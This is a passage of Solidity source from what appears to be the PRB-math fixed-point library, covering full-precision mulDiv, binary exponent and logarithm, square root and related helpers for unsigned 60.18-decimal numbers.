> 0) { result = (result * 0x1000B175EFFDC76BA) >> 64; } if (x & 0x8000000000000 > 0) { result = (result * 0x100058BA01FB9F96D) >> 64; } if (x & 0x4000000000000 > 0) { result = (result * 0x10002C5CC37DA9492) >> 64; } if (x & 0x2000000000000 > 0) { result = (result * 0x1000162E525EE0547) >> 64; } if (x & 0x1000000000000 > 0) { result = (result * 0x10000B17255775C04) >> 64; } if (x & 0x800000000000 > 0) { result = (result * 0x1000058B91B5BC9AE) >> 64; } if (x & 0x400000000000 > 0) { result = (result * 0x100002C5C89D5EC6D) >> 64; } if (x & 0x200000000000 > 0) { result = (result * 0x10000162E43F4F831) >> 64; } if (x & 0x100000000000 > 0) { result = (result * 0x100000B1721BCFC9A) >> 64; } if (x & 0x80000000000 > 0) { result = (result * 0x10000058B90CF1E6E) >> 64; } if (x & 0x40000000000 > 0) { result = (result * 0x1000002C5C863B73F) >> 64; } if (x & 0x20000000000 > 0) { result = (result * 0x100000162E430E5A2) >> 64; } if (x & 0x10000000000 > 0) { result = (result * 0x1000000B172183551) >> 64; } if (x & 0x8000000000 > 0) { result = (result * 0x100000058B90C0B49) >> 64; } if (x & 0x4000000000 > 0) { result = (result * 0x10000002C5C8601CC) >> 64; } if (x & 0x2000000000 > 0) { result = (result * 0x1000000162E42FFF0) >> 64; } if (x & 0x1000000000 > 0) { result = (result * 0x10000000B17217FBB) >> 64; } if (x & 0x800000000 > 0) { result = (result * 0x1000000058B90BFCE) >> 64; } if (x & 0x400000000 > 0) { result = (result * 0x100000002C5C85FE3) >> 64; } if (x & 0x200000000 > 0) { result = (result * 0x10000000162E42FF1) >> 64; } if (x & 0x100000000 > 0) { result = (result * 0x100000000B17217F8) >> 64; } if (x & 0x80000000 > 0) { result = (result * 0x10000000058B90BFC) >> 64; } if (x & 0x40000000 > 0) { result = (result * 0x1000000002C5C85FE) >> 64; } if (x & 0x20000000 > 0) { result = (result * 0x100000000162E42FF) >> 64; } if (x & 0x10000000 > 0) { result = (result * 0x1000000000B17217F) >> 64; } if (x & 0x8000000 > 0) { result = (result * 0x100000000058B90C0) >> 64; } if (x & 0x4000000 > 0) { result = (result * 0x10000000002C5C860) >> 64; } if (x & 0x2000000 > 0) { result = (result * 0x1000000000162E430) >> 64; } if (x & 0x1000000 > 0) { result = (result * 0x10000000000B17218) >> 64; } if (x & 0x800000 > 0) { result = (result * 0x1000000000058B90C) >> 64; } if (x & 0x400000 > 0) { result = (result * 0x100000000002C5C86) >> 64; } if (x & 0x200000 > 0) { result = (result * 0x10000000000162E43) >> 64; } if (x & 0x100000 > 0) { result = (result * 0x100000000000B1721) >> 64; } if (x & 0x80000 > 0) { result = (result * 0x10000000000058B91) >> 64; } if (x & 0x40000 > 0) { result = (result * 0x1000000000002C5C8) >> 64; } if (x & 0x20000 > 0) { result = (result * 0x100000000000162E4) >> 64; } if (x & 0x10000 > 0) { result = (result * 0x1000000000000B172) >> 64; } if (x & 0x8000 > 0) { result = (result * 0x100000000000058B9) >> 64; } if (x & 0x4000 > 0) { result = (result * 0x10000000000002C5D) >> 64; } if (x & 0x2000 > 0) { result = (result * 0x1000000000000162E) >> 64; } if (x & 0x1000 > 0) { result = (result * 0x10000000000000B17) >> 64; } if (x & 0x800 > 0) { result = (result * 0x1000000000000058C) >> 64; } if (x & 0x400 > 0) { result = (result * 0x100000000000002C6) >> 64; } if (x & 0x200 > 0) { result = (result * 0x10000000000000163) >> 64; } if (x & 0x100 > 0) { result = (result * 0x100000000000000B1) >> 64; } if (x & 0x80 > 0) { result = (result * 0x10000000000000059) >> 64; } if (x & 0x40 > 0) { result = (result * 0x1000000000000002C) >> 64; } if (x & 0x20 > 0) { result = (result * 0x10000000000000016) >> 64; } if (x & 0x10 > 0) { result = (result * 0x1000000000000000B) >> 64; } if (x & 0x8 > 0) { result = (result * 0x10000000000000006) >> 64; } if (x & 0x4 > 0) { result = (result * 0x10000000000000003) >> 64; } if (x & 0x2 > 0) { result = (result * 0x10000000000000001) >> 64; } if (x & 0x1 > 0) { result = (result * 0x10000000000000001) >> 64; } // We're doing two things at the same time: // // 1. Multiply the result by 2^n + 1, where "2^n" is the integer part and the one is added to account for // the fact that we initially set the result to 0.5. This is accomplished by subtracting from 191 // rather than 192. // 2. Convert the result to the unsigned 60.18-decimal fixed-point format. // // This works because 2^(191-ip) = 2^ip / 2^191, where "ip" is the integer part "2^n". result *= SCALE; result >>= (191 - (x >> 64)); } } /// @notice Finds the zero-based index of the first one in the binary representation of x. /// @dev See the note on msb in the "Find First Set" Wikipedia article https://en.wikipedia.org/wiki/Find_first_set /// @param x The uint256 number for which to find the index of the most significant bit. /// @return msb The index of the most significant bit as an uint256. function mostSignificantBit(uint256 x) internal pure returns (uint256 msb) { if (x >= 2**128) { x >>= 128; msb += 128; } if (x >= 2**64) { x >>= 64; msb += 64; } if (x >= 2**32) { x >>= 32; msb += 32; } if (x >= 2**16) { x >>= 16; msb += 16; } if (x >= 2**8) { x >>= 8; msb += 8; } if (x >= 2**4) { x >>= 4; msb += 4; } if (x >= 2**2) { x >>= 2; msb += 2; } if (x >= 2**1) { // No need to shift x any more. msb += 1; } } /// @notice Calculates floor(x*y÷denominator) with full precision. /// /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv. /// /// Requirements: /// - The denominator cannot be zero. /// - The result must fit within uint256. /// /// Caveats: /// - This function does not work with fixed-point numbers. /// /// @param x The multiplicand as an uint256. /// @param y The multiplier as an uint256. /// @param denominator The divisor as an uint256. /// @return result The result as an uint256. function mulDiv( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { unchecked { result = prod0 / denominator; } return result; } // Make sure the result is less than 2^256. Also prevents denominator == 0. if (prod1 >= denominator) { revert PRBMath__MulDivOverflow(prod1, denominator); } /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. unchecked { // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 lpotdod = denominator & (~denominator + 1); assembly { // Divide denominator by lpotdod. denominator := div(denominator, lpotdod) // Divide [prod1 prod0] by lpotdod. prod0 := div(prod0, lpotdod) // Flip lpotdod such that it is 2^256 / lpotdod. If lpotdod is zero, then it becomes one. lpotdod := add(div(sub(0, lpotdod), lpotdod), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * lpotdod; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /// @notice Calculates floor(x*y÷1e18) with full precision. /// /// @dev Variant of "mulDiv" with constant folding, i.e. in which the denominator is always 1e18. Before returning the /// final result, we add 1 if (x * y) % SCALE >= HALF_SCALE. Without this, 6.6e-19 would be truncated to 0 instead of /// being rounded to 1e-18. See "Listing 6" and text above it at https://accu.org/index.php/journals/1717. /// /// Requirements: /// - The result must fit within uint256. /// /// Caveats: /// - The body is purposely left uncommented; see the NatSpec comments in "PRBMath.mulDiv" to understand how this works. /// - It is assumed that the result can never be type(uint256).max when x and y solve the following two equations: /// 1. x * y = type(uint256).max * SCALE /// 2. (x * y) % SCALE >= SCALE / 2 /// /// @param x The multiplicand as an unsigned 60.18-decimal fixed-point number. /// @param y The multiplier as an unsigned 60.18-decimal fixed-point number. /// @return result The result as an unsigned 60.18-decimal fixed-point number. function mulDivFixedPoint(uint256 x, uint256 y) internal pure returns (uint256 result) { uint256 prod0; uint256 prod1; assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } if (prod1 >= SCALE) { revert PRBMath__MulDivFixedPointOverflow(prod1); } uint256 remainder; uint256 roundUpUnit; assembly { remainder := mulmod(x, y, SCALE) roundUpUnit := gt(remainder, 499999999999999999) } if (prod1 == 0) { unchecked { result = (prod0 / SCALE) + roundUpUnit; return result; } } assembly { result := add( mul( or( div(sub(prod0, remainder), SCALE_LPOTD), mul(sub(prod1, gt(remainder, prod0)), add(div(sub(0, SCALE_LPOTD), SCALE_LPOTD), 1)) ), SCALE_INVERSE ), roundUpUnit ) } } /// @notice Calculates floor(x*y÷denominator) with full precision. /// /// @dev An extension of "mulDiv" for signed numbers. Works by computing the signs and the absolute values separately. /// /// Requirements: /// - None of the inputs can be type(int256).min. /// - The result must fit within int256. /// /// @param x The multiplicand as an int256. /// @param y The multiplier as an int256. /// @param denominator The divisor as an int256. /// @return result The result as an int256. function mulDivSigned( int256 x, int256 y, int256 denominator ) internal pure returns (int256 result) { if (x == type(int256).min || y == type(int256).min || denominator == type(int256).min) { revert PRBMath__MulDivSignedInputTooSmall(); } // Get hold of the absolute values of x, y and the denominator. uint256 ax; uint256 ay; uint256 ad; unchecked { ax = x < 0 ? uint256(-x) : uint256(x); ay = y < 0 ? uint256(-y) : uint256(y); ad = denominator < 0 ? uint256(-denominator) : uint256(denominator); } // Compute the absolute value of (x*y)÷denominator. The result must fit within int256. uint256 rAbs = mulDiv(ax, ay, ad); if (rAbs > uint256(type(int256).max)) { revert PRBMath__MulDivSignedOverflow(rAbs); } // Get the signs of x, y and the denominator. uint256 sx; uint256 sy; uint256 sd; assembly { sx := sgt(x, sub(0, 1)) sy := sgt(y, sub(0, 1)) sd := sgt(denominator, sub(0, 1)) } // XOR over sx, sy and sd. This is checking whether there are one or three negative signs in the inputs. // If yes, the result should be negative. result = sx ^ sy ^ sd == 0 ? -int256(rAbs) : int256(rAbs); } /// @notice Calculates the square root of x, rounding down. /// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method. /// /// Caveats: /// - This function does not work with fixed-point numbers. /// /// @param x The uint256 number for which to calculate the square root. /// @return result The result as an uint256. function sqrt(uint256 x) internal pure returns (uint256 result) { if (x == 0) { return 0; } // Set the initial guess to the closest power of two that is higher than x. uint256 xAux = uint256(x); result = 1; if (xAux >= 0x100000000000000000000000000000000) { xAux >>= 128; result <<= 64; } if (xAux >= 0x10000000000000000) { xAux >>= 64; result <<= 32; } if (xAux >= 0x100000000) { xAux >>= 32; result <<= 16; } if (xAux >= 0x10000) { xAux >>= 16; result <<= 8; } if (xAux >= 0x100) { xAux >>= 8; result <<= 4; } if (xAux >= 0x10) { xAux >>= 4; result <<= 2; } if (xAux >= 0x8) { result <<= 1; } // The operations can never overflow because the result is max 2^127 when it enters this block. unchecked { result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; result = (result + x / result) >> 1; // Seven iterations should be enough uint256 roundedDownResult = x / result; return result >= roundedDownResult ? roundedDownResult : result; } } } // File: prb-math/contracts/PRBMathUD60x18.sol pragma solidity >=0.8.4; /// @title PRBMathUD60x18 /// @author Paul Razvan Berg /// @notice Smart contract library for advanced fixed-point math that works with uint256 numbers considered to have 18 /// trailing decimals. We call this number representation unsigned 60.18-decimal fixed-point, since there can be up to 60 /// digits in the integer part and up to 18 decimals in the fractional part. The numbers are bound by the minimum and the /// maximum values permitted by the Solidity type uint256. library PRBMathUD60x18 { /// @dev Half the SCALE number. uint256 internal constant HALF_SCALE = 5e17; /// @dev log2(e) as an unsigned 60.18-decimal fixed-point number. uint256 internal constant LOG2_E = 1_442695040888963407; /// @dev The maximum value an unsigned 60.18-decimal fixed-point number can have. uint256 internal constant MAX_UD60x18 = 115792089237316195423570985008687907853269984665640564039457_584007913129639935; /// @dev The maximum whole value an unsigned 60.18-decimal fixed-point number can have. uint256 internal constant MAX_WHOLE_UD60x18 = 115792089237316195423570985008687907853269984665640564039457_000000000000000000; /// @dev How many trailing decimals can be represented. uint256 internal constant SCALE = 1e18; /// @notice Calculates the arithmetic average of x and y, rounding down. /// @param x The first operand as an unsigned 60.18-decimal fixed-point number. /// @param y The second operand as an unsigned 60.18-decimal fixed-point number. /// @return result The arithmetic average as an unsigned 60.18-decimal fixed-point number. function avg(uint256 x, uint256 y) internal pure returns (uint256 result) { // The operations can never overflow. unchecked { // The last operand checks if both x and y are odd and if that is the case, we add 1 to the result. We need // to do this because if both numbers are odd, the 0.5 remainder gets truncated twice. result = (x >> 1) + (y >> 1) + (x & y & 1); } } /// @notice Yields the least unsigned 60.18 decimal fixed-point number greater than or equal to x. /// /// @dev Optimized for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts. /// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions. /// /// Requirements: /// - x must be less than or equal to MAX_WHOLE_UD60x18. /// /// @param x The unsigned 60.18-decimal fixed-point number to ceil. /// @param result The least integer greater than or equal to x, as an unsigned 60.18-decimal fixed-point number. function ceil(uint256 x) internal pure returns (uint256 result) { if (x > MAX_WHOLE_UD60x18) { revert PRBMathUD60x18__CeilOverflow(x); } assembly { // Equivalent to "x % SCALE" but faster. let remainder := mod(x, SCALE) // Equivalent to "SCALE - remainder" but faster. let delta := sub(SCALE, remainder) // Equivalent to "x + delta * (remainder > 0 ? 1 : 0)" but faster. result := add(x, mul(delta, gt(remainder, 0))) } } /// @notice Divides two unsigned 60.18-decimal fixed-point numbers, returning a new unsigned 60.18-decimal fixed-point number. /// /// @dev Uses mulDiv to enable overflow-safe multiplication and division. /// /// Requirements: /// - The denominator cannot be zero. /// /// @param x The numerator as an unsigned 60.18-decimal fixed-point number. /// @param y The denominator as an unsigned 60.18-decimal fixed-point number. /// @param result The quotient as an unsigned 60.18-decimal fixed-point number. function div(uint256 x, uint256 y) internal pure returns (uint256 result) { result = PRBMath.mulDiv(x, SCALE, y); } /// @notice Returns Euler's number as an unsigned 60.18-decimal fixed-point number. /// @dev See https://en.wikipedia.org/wiki/E_(mathematical_constant). function e() internal pure returns (uint256 result) { result = 2_718281828459045235; } /// @notice Calculates the natural exponent of x. /// /// @dev Based on the insight that e^x = 2^(x * log2(e)). /// /// Requirements: /// - All from "log2". /// - x must be less than 133.084258667509499441. /// /// @param x The exponent as an unsigned 60.18-decimal fixed-point number. /// @return result The result as an unsigned 60.18-decimal fixed-point number. function exp(uint256 x) internal pure returns (uint256 result) { // Without this check, the value passed to "exp2" would be greater than 192. if (x >= 133_084258667509499441) { revert PRBMathUD60x18__ExpInputTooBig(x); } // Do the fixed-point multiplication inline to save gas. unchecked { uint256 doubleScaleProduct = x * LOG2_E; result = exp2((doubleScaleProduct + HALF_SCALE) / SCALE); } } /// @notice Calculates the binary exponent of x using the binary fraction method. /// /// @dev See https://ethereum.stackexchange.com/q/79903/24693. /// /// Requirements: /// - x must be 192 or less. /// - The result must fit within MAX_UD60x18. /// /// @param x The exponent as an unsigned 60.18-decimal fixed-point number. /// @return result The result as an unsigned 60.18-decimal fixed-point number. function exp2(uint256 x) internal pure returns (uint256 result) { // 2^192 doesn't fit within the 192.64-bit format used internally in this function. if (x >= 192e18) { revert PRBMathUD60x18__Exp2InputTooBig(x); } unchecked { // Convert x to the 192.64-bit fixed-point format. uint256 x192x64 = (x << 64) / SCALE; // Pass x to the PRBMath.exp2 function, which uses the 192.64-bit fixed-point number representation. result = PRBMath.exp2(x192x64); } } /// @notice Yields the greatest unsigned 60.18 decimal fixed-point number less than or equal to x. /// @dev Optimized for fractional value inputs, because for every whole value there are (1e18 - 1) fractional counterparts. /// See https://en.wikipedia.org/wiki/Floor_and_ceiling_functions. /// @param x The unsigned 60.18-decimal fixed-point number to floor. /// @param result The greatest integer less than or equal to x, as an unsigned 60.18-decimal fixed-point number. function floor(uint256 x) internal pure returns (uint256 result) { assembly { // Equivalent to "x % SCALE" but faster. let remainder := mod(x, SCALE) // Equivalent to "x - remainder * (remainder > 0 ? 1 : 0)" but faster. result := sub(x, mul(remainder, gt(remainder, 0))) } } /// @notice Yields the excess beyond the floor of x. /// @dev Based on the odd function definition https://en.wikipedia.org/wiki/Fractional_part. /// @param x The unsigned 60.18-decimal fixed-point number to get the fractional part of. /// @param result The fractional part of x as an unsigned 60.18-decimal fixed-point number. function frac(uint256 x) internal pure returns (uint256 result) { assembly { result := mod(x, SCALE) } } /// @notice Converts a number from basic integer form to unsigned 60.18-decimal fixed-point representation. /// /// @dev Requirements: /// - x must be less than or equal to MAX_UD60x18 divided by SCALE. /// /// @param x The basic integer to convert. /// @param result The same number in unsigned 60.18-decimal fixed-point representation. function fromUint(uint256 x) internal pure returns (uint256 result) { unchecked { if (x > MAX_UD60x18 / SCALE) { revert PRBMathUD60x18__FromUintOverflow(x); } result = x * SCALE; } } /// @notice Calculates geometric mean of x and y, i.e. sqrt(x * y), rounding down. /// /// @dev Requirements: /// - x * y must fit within MAX_UD60x18, lest it overflows. /// /// @param x The first operand as an unsigned 60.18-decimal fixed-point number. /// @param y The second operand as an unsigned 60.18-decimal fixed-point number. /// @return result The result as an unsigned 60.18-decimal fixed-point number. function gm(uint256 x, uint256 y) internal pure returns (uint256 result) { if (x == 0) { return 0; } unchecked { // Checking for overflow this way is faster than letting Solidity do it. uint256 xy = x * y; if (xy / x != y) { revert PRBMathUD60x18__GmOverflow(x, y); } // We don't need to multiply by the SCALE here because the x*y product had already picked up a factor of SCALE // during multiplication. See the comments within the "sqrt" function. result = PRBMath.sqrt(xy); } } /// @notice Calculates 1 / x, rounding toward zero. /// /// @dev Requirements: /// - x cannot be zero. /// /// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the inverse. /// @return result The inverse as an unsigned 60.18-decimal fixed-point number. function inv(uint256 x) internal pure returns (uint256 result) { unchecked { // 1e36 is SCALE * SCALE. result = 1e36 / x; } } /// @notice Calculates the natural logarithm of x. /// /// @dev Based on the insight that ln(x) = log2(x) / log2(e). /// /// Requirements: /// - All from "log2". /// /// Caveats: /// - All from "log2". /// - This doesn't return exactly 1 for 2.718281828459045235, for that we would need more fine-grained precision. /// /// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the natural logarithm. /// @return result The natural logarithm as an unsigned 60.18-decimal fixed-point number. function ln(uint256 x) internal pure returns (uint256 result) { // Do the fixed-point multiplication inline to save gas. This is overflow-safe because the maximum value that log2(x) // can return is 196205294292027477728. unchecked { result = (log2(x) * SCALE) / LOG2_E; } } /// @notice Calculates the common logarithm of x. /// /// @dev First checks if x is an exact power of ten and it stops if yes. If it's not, calculates the common /// logarithm based on the insight that log10(x) = log2(x) / log2(10). /// /// Requirements: /// - All from "log2". /// /// Caveats: /// - All from "log2". /// /// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the common logarithm. /// @return result The common logarithm as an unsigned 60.18-decimal fixed-point number. function log10(uint256 x) internal pure returns (uint256 result) { if (x < SCALE) { revert PRBMathUD60x18__LogInputTooSmall(x); } // Note that the "mul" in this block is the assembly multiplication operation, not the "mul" function defined // in this contract. // prettier-ignore assembly { switch x case 1 { result := mul(SCALE, sub(0, 18)) } case 10 { result := mul(SCALE, sub(1, 18)) } case 100 { result := mul(SCALE, sub(2, 18)) } case 1000 { result := mul(SCALE, sub(3, 18)) } case 10000 { result := mul(SCALE, sub(4, 18)) } case 100000 { result := mul(SCALE, sub(5, 18)) } case 1000000 { result := mul(SCALE, sub(6, 18)) } case 10000000 { result := mul(SCALE, sub(7, 18)) } case 100000000 { result := mul(SCALE, sub(8, 18)) } case 1000000000 { result := mul(SCALE, sub(9, 18)) } case 10000000000 { result := mul(SCALE, sub(10, 18)) } case 100000000000 { result := mul(SCALE, sub(11, 18)) } case 1000000000000 { result := mul(SCALE, sub(12, 18)) } case 10000000000000 { result := mul(SCALE, sub(13, 18)) } case 100000000000000 { result := mul(SCALE, sub(14, 18)) } case 1000000000000000 { result := mul(SCALE, sub(15, 18)) } case 10000000000000000 { result := mul(SCALE, sub(16, 18)) } case 100000000000000000 { result := mul(SCALE, sub(17, 18)) } case 1000000000000000000 { result := 0 } case 10000000000000000000 { result := SCALE } case 100000000000000000000 { result := mul(SCALE, 2) } case 1000000000000000000000 { result := mul(SCALE, 3) } case 10000000000000000000000 { result := mul(SCALE, 4) } case 100000000000000000000000 { result := mul(SCALE, 5) } case 1000000000000000000000000 { result := mul(SCALE, 6) } case 10000000000000000000000000 { result := mul(SCALE, 7) } case 100000000000000000000000000 { result := mul(SCALE, 8) } case 1000000000000000000000000000 { result := mul(SCALE, 9) } case 10000000000000000000000000000 { result := mul(SCALE, 10) } case 100000000000000000000000000000 { result := mul(SCALE, 11) } case 1000000000000000000000000000000 { result := mul(SCALE, 12) } case 10000000000000000000000000000000 { result := mul(SCALE, 13) } case 100000000000000000000000000000000 { result := mul(SCALE, 14) } case 1000000000000000000000000000000000 { result := mul(SCALE, 15) } case 10000000000000000000000000000000000 { result := mul(SCALE, 16) } case 100000000000000000000000000000000000 { result := mul(SCALE, 17) } case 1000000000000000000000000000000000000 { result := mul(SCALE, 18) } case 10000000000000000000000000000000000000 { result := mul(SCALE, 19) } case 100000000000000000000000000000000000000 { result := mul(SCALE, 20) } case 1000000000000000000000000000000000000000 { result := mul(SCALE, 21) } case 10000000000000000000000000000000000000000 { result := mul(SCALE, 22) } case 100000000000000000000000000000000000000000 { result := mul(SCALE, 23) } case 1000000000000000000000000000000000000000000 { result := mul(SCALE, 24) } case 10000000000000000000000000000000000000000000 { result := mul(SCALE, 25) } case 100000000000000000000000000000000000000000000 { result := mul(SCALE, 26) } case 1000000000000000000000000000000000000000000000 { result := mul(SCALE, 27) } case 10000000000000000000000000000000000000000000000 { result := mul(SCALE, 28) } case 100000000000000000000000000000000000000000000000 { result := mul(SCALE, 29) } case 1000000000000000000000000000000000000000000000000 { result := mul(SCALE, 30) } case 10000000000000000000000000000000000000000000000000 { result := mul(SCALE, 31) } case 100000000000000000000000000000000000000000000000000 { result := mul(SCALE, 32) } case 1000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 33) } case 10000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 34) } case 100000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 35) } case 1000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 36) } case 10000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 37) } case 100000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 38) } case 1000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 39) } case 10000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 40) } case 100000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 41) } case 1000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 42) } case 10000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 43) } case 100000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 44) } case 1000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 45) } case 10000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 46) } case 100000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 47) } case 1000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 48) } case 10000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 49) } case 100000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 50) } case 1000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 51) } case 10000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 52) } case 100000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 53) } case 1000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 54) } case 10000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 55) } case 100000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 56) } case 1000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 57) } case 10000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 58) } case 100000000000000000000000000000000000000000000000000000000000000000000000000000 { result := mul(SCALE, 59) } default { result := MAX_UD60x18 } } if (result == MAX_UD60x18) { // Do the fixed-point division inline to save gas. The denominator is log2(10). unchecked { result = (log2(x) * SCALE) / 3_321928094887362347; } } } /// @notice Calculates the binary logarithm of x. /// /// @dev Based on the iterative approximation algorithm. /// https://en.wikipedia.org/wiki/Binary_logarithm#Iterative_approximation /// /// Requirements: /// - x must be greater than or equal to SCALE, otherwise the result would be negative. /// /// Caveats: /// - The results are nor perfectly accurate to the last decimal, due to the lossy precision of the iterative approximation. /// /// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the binary logarithm. /// @return result The binary logarithm as an unsigned 60.18-decimal fixed-point number. function log2(uint256 x) internal pure returns (uint256 result) { if (x < SCALE) { revert PRBMathUD60x18__LogInputTooSmall(x); } unchecked { // Calculate the integer part of the logarithm and add it to the result and finally calculate y = x * 2^(-n). uint256 n = PRBMath.mostSignificantBit(x / SCALE); // The integer part of the logarithm as an unsigned 60.18-decimal fixed-point number. The operation can't overflow // because n is maximum 255 and SCALE is 1e18. result = n * SCALE; // This is y = x * 2^(-n). uint256 y = x >> n; // If y = 1, the fractional part is zero. if (y == SCALE) { return result; } // Calculate the fractional part via the iterative approximation. // The "delta >>= 1" part is equivalent to "delta /= 2", but shifting bits is faster. for (uint256 delta = HALF_SCALE; delta > 0; delta >>= 1) { y = (y * y) / SCALE; // Is y^2 > 2 and so in the range [2,4)? if (y >= 2 * SCALE) { // Add the 2^(-m) factor to the logarithm. result += delta; // Corresponds to z/2 on Wikipedia. y >>= 1; } } } } /// @notice Multiplies two unsigned 60.18-decimal fixed-point numbers together, returning a new unsigned 60.18-decimal /// fixed-point number. /// @dev See the documentation for the "PRBMath.mulDivFixedPoint" function. /// @param x The multiplicand as an unsigned 60.18-decimal fixed-point number. /// @param y The multiplier as an unsigned 60.18-decimal fixed-point number. /// @return result The product as an unsigned 60.18-decimal fixed-point number. function mul(uint256 x, uint256 y) internal pure returns (uint256 result) { result = PRBMath.mulDivFixedPoint(x, y); } /// @notice Returns PI as an unsigned 60.18-decimal fixed-point number. function pi() internal pure returns (uint256 result) { result = 3_141592653589793238; } /// @notice Raises x to the power of y. /// /// @dev Based on the insight that x^y = 2^(log2(x) * y). /// /// Requirements: /// - All from "exp2", "log2" and "mul". /// /// Caveats: /// - All from "exp2", "log2" and "mul". /// - Assumes 0^0 is 1. /// /// @param x Number to raise to given power y, as an unsigned 60.18-decimal fixed-point number. /// @param y Exponent to raise x to, as an unsigned 60.18-decimal fixed-point number. /// @return result x raised to power y, as an unsigned 60.18-decimal fixed-point number. function pow(uint256 x, uint256 y) internal pure returns (uint256 result) { if (x == 0) { result = y == 0 ? SCALE : uint256(0); } else { result = exp2(mul(log2(x), y)); } } /// @notice Raises x (unsigned 60.18-decimal fixed-point number) to the power of y (basic unsigned integer) using the /// famous algorithm "exponentiation by squaring". /// /// @dev See https://en.wikipedia.org/wiki/Exponentiation_by_squaring /// /// Requirements: /// - The result must fit within MAX_UD60x18. /// /// Caveats: /// - All from "mul". /// - Assumes 0^0 is 1. /// /// @param x The base as an unsigned 60.18-decimal fixed-point number. /// @param y The exponent as an uint256. /// @return result The result as an unsigned 60.18-decimal fixed-point number. function powu(uint256 x, uint256 y) internal pure returns (uint256 result) { // Calculate the first iteration of the loop in advance. result = y & 1 > 0 ? x : SCALE; // Equivalent to "for(y /= 2; y > 0; y /= 2)" but faster. for (y >>= 1; y > 0; y >>= 1) { x = PRBMath.mulDivFixedPoint(x, x); // Equivalent to "y % 2 == 1" but faster. if (y & 1 > 0) { result = PRBMath.mulDivFixedPoint(result, x); } } } /// @notice Returns 1 as an unsigned 60.18-decimal fixed-point number. function scale() internal pure returns (uint256 result) { result = SCALE; } /// @notice Calculates the square root of x, rounding down. /// @dev Uses the Babylonian method https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method. /// /// Requirements: /// - x must be less than MAX_UD60x18 / SCALE. /// /// @param x The unsigned 60.18-decimal fixed-point number for which to calculate the square root. /// @return result The result as an unsigned 60.18-decimal fixed-point . function sqrt(uint256 x) internal pure returns (uint256 result) { unchecked { if (x > MAX_UD60x18 / SCALE) { revert PRBMathUD60x18__SqrtOverflow(x); } // Multiply x by the SCALE to account for the factor of SCALE that is picked up when multiplying two unsigned // 60.18-decimal fixed-point numbers together (in this case, those two numbers are both the square root). result = 